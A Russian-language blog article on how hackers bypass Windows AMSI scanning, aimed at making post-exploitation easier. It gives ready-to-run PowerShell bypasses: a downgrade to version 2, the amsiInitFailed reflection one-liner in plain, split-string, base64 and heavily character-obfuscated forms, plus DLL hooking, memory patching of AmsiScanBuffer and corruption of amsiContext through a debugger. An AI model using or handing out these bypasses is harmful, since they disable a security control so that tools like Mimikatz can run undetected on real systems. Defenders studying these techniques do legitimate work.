Как хакеры обходят проверку AMSI защиты

Как хакеры обходят проверку AMSI защиты

В последней статье посвященной антивирусам, я рассказал как обойти антивирус с помощью Chimera. В этой статье я покажу, как хакеры обходят проверку AMSI защиты.

Еще по теме: Обход антивируса в Meterpreter

Как обойти AMSI защиту

Ме­ханизм AMSI исполь­зует сиг­натур­ное (rule-based) детек­тирова­ние угроз. Зная этот факт, мож­но при­думы­вать раз­ные так­тики и тех­ники. Некото­рые извес­тные спо­собы уже не сра­бота­ют, но, исполь­зуя модифи­кацию кода, обфуска­цию и крип­тование, мож­но добить­ся инте­рес­ных резуль­татов.

Для верифи­кации детек­та я буду исполь­зовать стро­ки AmsiUtils либо Invoke-Mimikatz. Разуме­ется, сами по себе эти сло­ва безобид­ны, но на них сра­баты­вает детект, так как они ловят­ся сиг­натура­ми. Если уж на AmsiUtils нет детек­та, то мож­но сме­ло гру­зить, нап­ример, PowerView и исполь­зовать его воз­можнос­ти по мак­симуму.

Итак, поеха­ли.

PowerShell downgrade

Пер­вый спо­соб, который иног­да сра­баты­вает, три­виален. PowerShell 2.0 уста­рел, но Microsoft не спе­шит уда­лять его из опе­раци­онной сис­темы. У ста­рой вер­сии PowerShell нет таких защит­ных механиз­мов, как AMSI, поэто­му для обхо­да детек­та иног­да дос­таточ­но исполь­зовать коман­ду powershell -version 2.

Обход защиты AMSI PowerShell downgrade

amsiInitFailed

Вто­рой спо­соб пре­дот­вра­тить ска­ниро­вание — это попытать­ся выс­тавить флаг amsiInitFailed для дан­ного про­цес­са. Дела­ется это сле­дующей коман­дой:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Од­нако тут не все так прос­то: что­бы выпол­нить эту коман­ду, при­дет­ся пот­рудить­ся, при­думы­вая спо­собы обфуска­ции PowerShell, так как на нее тоже сра­баты­вает детект.

Обход защиты AMSI amsiInitFailed
Увы, на нашу команду сработал детект

Нап­ример, обфусци­ровать эту коман­ду мож­но так:

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
При­мер обфусци­рован­ной коман­ды для amsiInitFailed
При­мер обфусци­рован­ной коман­ды для amsiInitFailed

Во вре­мя обфуска­ции мож­но про­явить фан­тазию. Нап­ример, так:

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

Или даже так:

$kurefii="$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).$(('Mànägem'+'ent').NORMALiZE([cHar](70+50-50)+[ChAr](111*34/34)+[cHAr](114*7/7)+[CHar](109*71/71)+[chaR]([BYtE]0x44)) -replace [cHaR]([BYte]0x5c)+[cHar]([Byte]0x70)+[chaR]([byTE]0x7b)+[chaR](77+22-22)+[cHAr]([BytE]0x6e)+[cHaR]([BYte]0x7d)).$([chAr](65+59-59)+[ChaR](104+13)+[CHAr]([bytE]0x74)+[chAR]([byte]0x6f)+[chAr](58+51)+[ChaR]([bYTe]0x61)+[CHar]([bYTe]0x74)+[cHAR](105)+[CHaR]([BYTE]0x6f)+[cHar]([ByTE]0x6e)).$([CHAR]([ByTE]0x41)+[char]([byTe]0x6d)+[CHAr]([bYtE]0x73)+[CHar]([byTe]0x69)+[chaR](85*6/6)+[CHaR](116)+[ChAR]([Byte]0x69)+[cHAr](108)+[chAr]([BYte]0x73))";[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d)))).FullName), $([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflection.FieldInfo]" -as [String].Assembly.GetType($([CHAR](83)+[char](121*78/78)+[ChAr]([ByTe]0x73)+[CHar](22+94)+[CHar](101*28/28)+[char]([BYtE]0x6d)+[CHAr](46)+[ChAr](84)+[cHAr]([ByTE]0x79)+[ChAr](90+22)+[Char](101+30-30)))), [Object]([Ref].Assembly.GetType($kurefii)),($(('Ge'+'tF'+'íe'+'ld').NOrMaliZE([char]([ByTE]0x46)+[cHAR](10+101)+[CHaR](114)+[cHAr](109*93/93)+[CHAr]([BYTe]0x44)) -replace [cHaR](92*52/52)+[CHar]([ByTE]0x70)+[CHAr]([byTe]0x7b)+[Char](38+39)+[cHaR](79+31)+[cHar](125*18/18)))).Invoke($([char](97*42/42)+[cHar](109*37/37)+[cHar]([bYte]0x73)+[Char](105+88-88)+[CHaR]([BYtE]0x49)+[ChAR](110)+[cHAR]([Byte]0x69)+[CHaR](116*14/14)+[cHar]([bYtE]0x46)+[Char](97)+[cHar]([bYTe]0x69)+[CHAR]([ByTE]0x6c)+[CHaR](101*33/33)+[char]([BYTE]0x64)),(("NonPublic,Static") -as [String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d))))).SetValue($null,$True);

В нелег­ком деле запуты­вания кода тебе навер­няка будет полезен ресурс amsi.fail.

Хукинг

Function hooking — метод, поз­воля­ющий нам получить управле­ние над фун­кци­ей до ее вызова. В дан­ном слу­чае полез­но будет переза­писать аргу­мен­ты, которые фун­кция AmsiScanBuffer() (или AmsiScanString()) будет переда­вать на про­вер­ку.

Тут все прос­то: инжектим DLL, которая пой­мает AmsiScanBuffer() и передаст на про­вер­ку что‑нибудь безобид­ное. Исполь­зовать мож­но, нап­ример, AmsiHook.dll, инжектор мож­но взять там же.

Обойти AMSI Хукинг
Ре­зуль­тат инжекта AmsiHook.dll

Патчинг памяти

Ис­поль­зующих дан­ный метод инс­тру­мен­тов мно­го, мож­но выб­рать любой рабочий. Прин­цип оди­наков: про­пат­чить AmsiScanBuffer(), что­бы всег­да воз­вра­щалось зна­чение «Про­вер­ка прой­дена успешно». Вот нес­коль­ко таких средств:

Для при­мера поп­робу­ем выпол­нить Memory Patching с помощью my-am-bypass.ps1.

Обойти AMSI Патчинг памяти
Ис­поль­зуем my-am-bypass.ps1

Вызов ошибки

Вспо­миная опи­сание прин­ципа работы AMSI, мож­но заметить, что во всех фун­кци­ях при­сутс­тву­ет струк­тура amsiContext. Идея спо­соба — выз­вать ошиб­ку в этой струк­туре и сло­мать весь цикл про­вер­ки. Слож­ности добав­ляет тот факт, что Microsoft никак не докумен­тиру­ет эту струк­туру, да и в целом мало и неохот­но пишет докумен­тацию для AMSI.

Рас­смот­рим этот спо­соб, исполь­зуя Frida (что­бы най­ти адрес) и дебаг­гер (что­бы пос­мотреть, что там про­исхо­дит).

Ис­сле­дуем amsiContext
Ис­сле­дуем amsiContext

Вве­дем что‑нибудь и пос­мотрим на вывод «Фри­ды».

Вы­вод «Фри­ды»
Вы­вод «Фри­ды»

Те­перь откро­ем про­цесс PowerShell в дебаг­гере и пос­мотрим, что же находит­ся по это­му адре­су. Раз­мера этой струк­туры мы не зна­ем, но пер­вые 4 бай­та — это AMSI.

Прос­мотр про­цесса PowerShell в отладчи­ке

 

Прос­мотр про­цесса PowerShell в отладчи­ке
Прос­мотр про­цесса PowerShell в отладчи­ке

Ис­сле­дуя про­исхо­дящее даль­ше, замеча­ем, что регистр rcx (в котором дол­жен лежать пер­вый аргу­мент фун­кции) срав­нива­ется с нашими четырь­мя бай­тами и, если эти зна­чения не рав­ны, выпол­няет­ся переход на amsi!AmsiOpenSession+0x4c.

amsi bypass

Мы видим, что фун­кция вер­нет нам то, что лежит в регис­тре eax. А в докумен­тации ука­зано, что воз­вра­щает­ся зна­чение с типом HRESULT.

HRESULT AmsiOpenSession(
  HAMSICONTEXT amsiContext,
  HAMSISESSION *amsiSession
);

На сай­те Microsoft мы находим нуж­ную информа­цию:

| E_INVALIDARG | One or more arguments are not valid | 0x80070057 |

Ес­ли пер­вые четыре бай­та струк­туры кон­тек­ста не сов­падут с AMSI, AmsiOpenSession вер­нет ошиб­ку. Глав­ный воп­рос — к чему при­ведет эта ошиб­ка и что слу­чит­ся, если бай­ты все‑таки не сов­падут.

Единс­твен­ный спо­соб про­верить это — выз­вать ошиб­ку и пос­мотреть, что будет. Для это­го пос­тавим точ­ку оста­нова (breakpoint) на AmsiOpenSession, а затем поменя­ем 4 бай­та на зна­чение 0000. Убе­дим­ся, что в регис­тре rcx находит­ся зна­чение 49534d41 (dc rcx L1), изме­ним его на 0 (ed rcx 0), про­верим, что выпол­нение прош­ло успешно и в регис­тре rcx сей­час 00000000 (еще разdc rcx L1).

Пат­чим AmsiOpenSession
Пат­чим AmsiOpenSession

Те­перь, если заг­лянуть в frida-trace, мы уви­дим завет­ное AmsiScanBuffer() Exit. При­вела ли эта ошиб­ка к наруше­нию цик­ла про­вер­ки AMSI? Про­верим эту теорию, выпол­нив что‑то «злов­редное».

Обход AMSI
Обход AMSI

Дан­ный метод с исполь­зовани­ем дебаг­гера был рас­смот­рен в качес­тве теории, в живом кей­се, разуме­ется, дебаг­гером ник­то не поль­зует­ся, а реали­зует­ся дан­ный метод в нес­коль­ко стро­чек в том же PowerShell.

Выводы

Как вид­но из при­меров, обой­ти защиту от AMSI не так уж и слож­но. Зна­ние извес­тных методик может облегчить фазу пос­тэкс­плу­ата­ции (или даже фазу экс­плу­ата­ции).

AMSI может сыг­рать важ­ную роль в защите сис­тем Windows 10 и Windows Server от ком­про­мета­ции. Но AMSI не панацея. И хотя Microsoft Windows Defender обес­печива­ет некото­рую защиту от обхо­да AMSI, зло­умыш­ленни­ки пос­тоян­но находят спо­собы скрыть вре­донос­ный кон­тент от обна­руже­ния.

Еще по теме: Внедрение кода в чужое приложение

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *